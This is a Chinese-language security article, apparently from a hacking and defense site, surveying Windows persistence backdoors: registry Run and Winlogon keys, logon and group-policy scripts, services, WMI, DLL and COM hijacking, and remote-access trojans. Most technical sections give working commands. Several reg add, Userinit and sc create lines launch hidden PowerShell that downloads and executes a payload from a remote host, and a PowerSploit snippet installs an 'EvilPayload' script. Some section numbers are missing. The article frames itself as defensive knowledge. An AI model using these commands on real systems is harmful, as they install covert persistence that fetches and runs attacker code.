标题 | 简介 | 类型 | 公开时间 | ||||||||||
|
|||||||||||||
|
|||||||||||||
详情 | |||||||||||||
[SAFE-ID: JIWO-2025-2533] 作者: hudie 发表于: [2019-12-28]
本文共 [409] 位读者顶过
在获取服务器权限后,通常会用一些后门技术来维持服务器权限,服务器一旦被植入后门,攻击者便如入无人之境。本文将对常见的window服务端自启动后门技术进行解析,知己知彼方能杜绝后门。 0x01 注册表自启动通过修改注册表自启动键值,添加一个木马程序路径,实现开机自启动。 常用的注册表启动键: 1 # Run键 2 HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
3 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run[出自:jiwo.org]
4 # Winlogon\Userinit键
5 HKEY_CURRENT_USER\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon
6 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon
7 关键词:注册表启动键值,类似的键值很多,
使用以下命令可以一键实现无文件注册表后门:
1 reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "Keyname" /t REG_SZ /d "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://192.168.28.142:8888/logo.gif'))\"" /f
Logon Scripts 后门 注册表路径:HKEY_CURRENT_USER\Environment\ 创建字符串键值: UserInitMprLogonScript,键值设置为bat的绝对路径:c:\test.bat userinit后门 在用户进行登陆时,winlogon运行指定的程序。根据官方文档,可以更改它的值来添加与删除程序。 利用USERINIT注册表键实现无文件后门:
1 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]
2 "Userinit"="C:\\Windows\\system32\\userinit.exe,C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://192.168.28.142:8888/logo.gif'))\""
0x02 组策略设置脚本启动运行gpedit.msc进入本地组策略,通过Windows设置的“脚本(启动/关机)”项来说实现。因为其极具隐蔽性,因此常常被攻击者利用来做服务器后门。 ![]()
容易遇到的问题:脚本需全路径,如 1 C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
1 sc create "KeyName" binpath= "cmd /c start powershell.exe -nop -w hidde 2 n -c \"IEX ((new-object net.webclient).downloadstring('http://192.168.2 3 8.142:8888/logo.gif'))\"" 4 sc description KeyName "Just For Test" //设置服务的描述字符串 5 sc config Name start= auto //设置这个服务为自动启动 6 net start Name //启动服务
成功创建了一个自启动服务。
0x05 WMI后门在2015年的blackhat大会上Matt Graeber介绍了一种无文件后门就是用的WMI。这里可以利用一个工具powersploit,下面用它的Persistence模块来示范一个简单的例子。
1 Import-Module .\Persistence\Persistence.psm1 2 $ElevatedOptions = New-ElevatedPersistenceOption -PermanentWMI -Daily -At 3 '3 PM' 4 $UserOptions = New-UserPersistenceOption -Registry -AtLogonAdd-Persistence -FilePath .\EvilPayload.ps1 -ElevatedPersistenceOption $ElevatedOptions -UserPersistenceOption $UserOptions -Verbose
0x06 dll劫持如果在进程尝试加载一个DLL时没有指定DLL的绝对路径,那么Windows会尝试去指定的目录下查找这个DLL;如果攻击者能够控制其中的某一 个目录,并且放一个恶意的DLL文件到这个目录下,这个恶意的DLL便会被进程所加载,从而造成代码执行。 比较常用的如LPK.dll的劫持: win7及win7以上系统增加了KnownDLLs保护,需要在注册表: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\ExcludeFromKnownDlls
下添加 “lpk.dll” 才能顺利劫持: ![]()
0x07 COM劫持利用COM劫持技术,最为关键的是dll的实现以及CLSID的选择,通过修改CLSID下的注册表键值,实现对CAccPropServicesClass和MMDeviceEnumerator劫持,而系统很多正常程序启动时需要调用这两个实例。这种方法可以绕过Autoruns对启动项的检测。
0x08 远程控制远控木马是一种恶意程序,其中包括在目标计算机上用于管理控制的后门。远程访问木马通常与用户请求的程序(如游戏程序)一起,是一种看不见的下载,或作为电子邮件附件发送。一旦主机系统被攻破,入侵者可以利用它来向其他易受感染的计算机分发远程访问木马,从而建立僵尸网络。 一般分为客户端和服务端,如:灰鸽子、上兴远控、梦想时代、QuasarRAT等。
0x09 结束语未知攻焉知防,本文分享了几种Window下的自启动权限维持技术。管理员在平时运维过程应当保持警惕,掌握一定的入侵排查技巧,及时进行系统补丁更新,定期对服务器安全检查,才能有效地预防后门。 |